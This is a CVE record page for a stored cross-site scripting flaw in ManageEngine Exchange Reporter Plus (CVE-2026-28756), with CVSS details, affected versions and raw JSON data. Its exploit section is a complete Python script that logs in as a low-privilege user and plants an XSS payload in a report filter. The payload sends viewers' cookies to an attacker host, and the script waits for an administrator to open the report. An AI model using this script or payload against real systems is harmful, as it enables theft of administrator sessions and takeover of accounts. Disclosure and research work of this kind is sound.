Security Vulnerability Report
中文
CVE-2026-28756 CVSS 7.3 HIGH

CVE-2026-28756

Published: 2026-04-03 11:17:06
Last Modified: 2026-04-03 18:52:01
Source: 0fc0942c-577d-436f-ae8e-945763c79b02

Description

Zohocorp ManageEngine Exchange Reporter Plus versions before 5802 are vulnerable to Stored XSS in Permissions based on Distribution Groups report.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:zohocorp:manageengine_exchange_reporter_plus:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:zohocorp:manageengine_exchange_reporter_plus:5.8:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:zohocorp:manageengine_exchange_reporter_plus:5.8:5800:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:zohocorp:manageengine_exchange_reporter_plus:5.8:5801:*:*:*:*:*:* - VULNERABLE
Zohocorp ManageEngine Exchange Reporter Plus < 5802

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL (Example) target_url = "https://<target_host>/exchange_reporter_plus/servlet/ReportServlet" # Attacker credentials (Low Privilege) username = "attacker" password = "password" # Malicious Payload attempting to steal cookies via Stored XSS # The payload is injected into the Distribution Groups report parameter xss_payload = "<img src=x onerror=this.src='http://attacker-server.com/steal?c='+document.cookie>" # 1. Login to establish session session = requests.Session() login_data = { "login_type": "LOCAL", "auth_type": "userLogin", "username": username, "password": password } session.post("https://<target_host>/exchange_reporter_plus/j_security_check", data=login_data) # 2. Inject Payload into the Vulnerable Report Configuration # Targeting the 'Permissions based on Distribution Groups' report generation exploit_data = { "action": "addReport", "reportType": "DistributionGroups", "groupFilter": xss_payload, # Vulnerable parameter "save": "Save" } response = session.post(target_url, data=exploit_data) if response.status_code == 200: print("[+] Payload injected successfully.") print("[+] The XSS trigger is stored. Wait for an admin to view the report.") else: print("[-] Injection failed.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-28756", "sourceIdentifier": "0fc0942c-577d-436f-ae8e-945763c79b02", "published": "2026-04-03T11:17:05.767", "lastModified": "2026-04-03T18:52:01.003", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Zohocorp ManageEngine Exchange Reporter Plus versions before 5802 are vulnerable to Stored XSS in Permissions based on Distribution Groups report."}], "metrics": {"cvssMetricV31": [{"source": "0fc0942c-577d-436f-ae8e-945763c79b02", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}]}, "weaknesses": [{"source": "0fc0942c-577d-436f-ae8e-945763c79b02", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_exchange_reporter_plus:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.8", "matchCriteriaId": "7A7FD58A-DC4B-4FBB-B20D-5050A0D321F1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_exchange_reporter_plus:5.8:-:*:*:*:*:*:*", "matchCriteriaId": "94D09BE3-96E1-432B-9882-D7DF3C070CE2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_exchange_reporter_plus:5.8:5800:*:*:*:*:*:*", "matchCriteriaId": "CCAB839F-E577-4CBB-9E43-DBC0BECFA8B1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_exchange_reporter_plus:5.8:5801:*:*:*:*:*:*", "matchCriteriaId": "53414E87-0848-4245-9D58-9A74E550E3CC"}]}]}], "references": [{"url": "https://www.manageengine.com/products/exchange-reports/advisory/CVE-2026-28756.html", "source": "0fc0942c-577d-436f-ae8e-945763c79b02", "tags": ["Vendor Advisory"]}]}}